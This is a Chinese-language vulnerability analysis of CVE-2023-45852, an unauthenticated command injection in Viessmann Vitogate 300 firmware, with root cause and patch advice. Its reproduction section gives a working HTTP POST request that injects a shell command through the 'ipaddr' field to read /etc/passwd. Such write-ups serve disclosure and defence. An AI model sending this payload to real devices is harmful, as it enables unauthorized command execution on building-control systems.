漏洞分析|Viessmann Vitogate 远程命令执行漏洞(CVE-2023-45852)

1.漏洞描述

Viessmann Vitogate是Viessmann公司的一个智能化控制系统。

Vitogate 300 2.1.3.0版本的/cgi-bin/vitogate.cgi存在一个未经身份验证的攻击者可利用的漏洞,通过put方法中的ipaddr params JSON数据中的shell元字符实现绕过身份验证并执行任意命令。

2.影响版本

Viessmann Vitogate_300_Firmware <= 2.1.3.0,

Viessmann Vitogate_300

3.漏洞复现

漏洞分析|Viessmann Vitogate 远程命令执行漏洞(CVE-2023-45852)_第1张图片

POST /cgi-bin/vitogate.cgi HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 88

{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"11;cat /etc/passwd"}}

4.简单分析

通过分析/ugw/httpd/html/cgi-bin/vitogate.cgi,它通过HTTPPOST接受JSON格式的数据。

然后isValidSession函数检查是否已登录

漏洞分析|Viessmann Vitogate 远程命令执行漏洞(CVE-2023-45852)_第2张图片​​​​​​​

但是isValidSession函数只检查会话是否存在,不检查值内容

因此设置个空值即可

在这两个函数中ipaddr没有任何过滤操作,直接带入并执行popen命令

漏洞分析|Viessmann Vitogate 远程命令执行漏洞(CVE-2023-45852)_第3张图片

5.修复建议

目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。

官方下载地址:

https://connectivity.viessmann.com/

你可能感兴趣的:(安全,网络)